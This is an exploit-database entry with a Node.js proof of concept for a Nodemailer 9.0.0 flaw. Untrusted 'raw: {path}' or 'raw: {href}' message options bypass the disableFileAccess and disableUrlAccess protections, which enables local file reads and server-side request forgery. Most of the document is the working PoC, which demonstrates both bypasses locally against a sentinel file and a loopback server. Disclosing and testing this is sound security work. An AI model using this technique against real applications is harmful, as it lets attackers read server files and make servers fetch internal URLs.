# Exploit Title: Nodemailer 9.0.0 - File Read/ SSRF # Date: 2026-07-17 # Exploit Author: Pig-Tail (Jorge González Milla) # Vendor Homepage: https://github.com/nodemailer/nodemailer # Software Link: https://www.npmjs.com/package/nodemailer # Version: nodemailer <= 9.0.0 (fixed 9.0.1) # Tested on: Linux # CVE: N/A # Category: webapps # Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/GHSA-p6gq-j5cr-w38f-nodemailer MailComposer.compile() builds the raw message/rfc822 node without threading the disableFileAccess/disableUrlAccess flags, so raw:{path}/raw:{href} reads files / fetches URLs anyway. Advisory: GHSA-p6gq-j5cr-w38f. The PoC is a benign, local verification harness (sentinel-based; no network attack, no persistence, no destructive payload). Run against a local instance of the affected version. --- PoC (poc-raw-fileaccess-bypass.js) --- 'use strict'; /* * PoC — message-level `raw` option bypasses disableFileAccess / disableUrlAccess. * * Threat model: an application that accepts untrusted message data passes * `disableFileAccess: true` (and/or `disableUrlAccess: true`) to Nodemailer to * prevent that untrusted input from reading local files or fetching URLs * (the same protection the jsonTransport advisory GHSA-wqvq-jvpq-h66f is about). * * This PoC shows that a `raw: { path: }` (or `{ href: }`) message * is read ANYWAY, because MailComposer.compile() builds the message/rfc822 root * node WITHOUT threading the flags (lib/mail-composer/index.js:34-35), unlike * every attachment/alternative node which is created with the flags. * * Benign marker: a sentinel file in the OS temp dir whose unique nonce we look * for in the generated message. No network, no destructive action. */ const nodemailer = require('../../../nodemailer'); const fs = require('fs'); const os = require('os'); const path = require('path'); const http = require('http'); const NONCE = 'SENTINEL-' + Date.now() + '-' + Math.floor(Math.random() * 1e6); const sentinelPath = path.join(os.tmpdir(), 'nm-poc-' + NONCE + '.eml'); fs.writeFileSync(sentinelPath, 'From: a@a\r\nSubject: ' + NONCE + '\r\n\r\nbody ' + NONCE + '\r\n'); function buildMessage(data, cb) {     // streamTransport => fully local, returns the generated message as a stream.     const transporter = nodemailer.createTransport({         streamTransport: true,         buffer: true,         // The application's protective flags:         disableFileAccess: true,         disableUrlAccess: true     });     transporter.sendMail(data, (err, info) => {         if (err) return cb(err);         cb(null, info.message.toString());     }); } function run() {     console.log('Nodemailer version:', require('../../../nodemailer/package.json').version);     console.log('Sentinel file     :', sentinelPath);     console.log('Nonce             :', NONCE);     console.log('Transporter flags : disableFileAccess=true, disableUrlAccess=true\n');     // --- CONTROL: a normal attachment with the same path MUST be rejected ---     buildMessage(         { from: 'a@a', to: 'b@b', subject: 'control', text: 'x', attachments: [{ path: sentinelPath }] },         (err, msg) => {             const controlBlocked = !!err && err.code === 'EFILEACCESS';             console.log('[CONTROL] attachment path with disableFileAccess:');             console.log('  => ' + (controlBlocked ? 'BLOCKED (EFILEACCESS) — flag works here' : 'NOT blocked (unexpected): ' + (err && err.message)));             // --- ATTACK: message-level raw with the same path ---             buildMessage({ raw: { path: sentinelPath } }, (err2, msg2) => {                 if (err2) {                     console.log('\n[ATTACK] raw:{path} => error (NOT bypassed): ' + err2.code + ' ' + err2.message);                     return finishUrl(controlBlocked, false);                 }                 const leaked = msg2.indexOf(NONCE) !== -1;                 console.log('\n[ATTACK] raw:{path} with disableFileAccess=true:');                 console.log('  => ' + (leaked                     ? 'BYPASSED — sentinel file CONTENT is present in the generated message'                     : 'not leaked (sentinel nonce absent)'));                 if (leaked) {                     const idx = msg2.indexOf(NONCE);                     console.log('  excerpt: ...' + JSON.stringify(msg2.slice(Math.max(0, idx - 20), idx + 20)) + '...');                 }                 finishUrl(controlBlocked, leaked);             });         }     ); } // Second observable: disableUrlAccess bypass via raw:{href} against a LOCAL (loopback) server. function finishUrl(controlBlocked, fileLeaked) {     const URLNONCE = NONCE + '-URL';     const server = http.createServer((req, res) => {         res.end('From: a@a\r\nSubject: x\r\n\r\nURLBODY ' + URLNONCE + '\r\n');     });     server.listen(0, '127.0.0.1', () => {         const port = server.address().port;         const href = ' http://127.0.0.1 :' + port + '/sentinel';         buildMessage({ raw: { href: href } }, (err, msg) => {             let urlLeaked = false;             if (err) {                 console.log('\n[ATTACK] raw:{href} => error (NOT bypassed): ' + err.code + ' ' + err.message);             } else {                 urlLeaked = msg.indexOf(URLNONCE) !== -1;                 console.log('\n[ATTACK] raw:{href} with disableUrlAccess=true (loopback server):');                 console.log('  => ' + (urlLeaked                     ? 'BYPASSED — server-side fetched body is present in the generated message (SSRF)'                     : 'not leaked'));             }             server.close();             try { fs.unlinkSync(sentinelPath); } catch (_e) {}             console.log('\n================ RESULT ================');             console.log('control attachment blocked by flag : ' + controlBlocked);             console.log('raw:{path} file-access bypass      : ' + fileLeaked);             console.log('raw:{href} url-access  bypass      : ' + urlLeaked);             const pass = controlBlocked && (fileLeaked || urlLeaked);             console.log('VERDICT: ' + (pass ? 'CONFIRMED — raw bypasses the access flags that block attachments' : 'NOT CONFIRMED'));             process.exit(pass ? 0 : 1);         });     }); } run();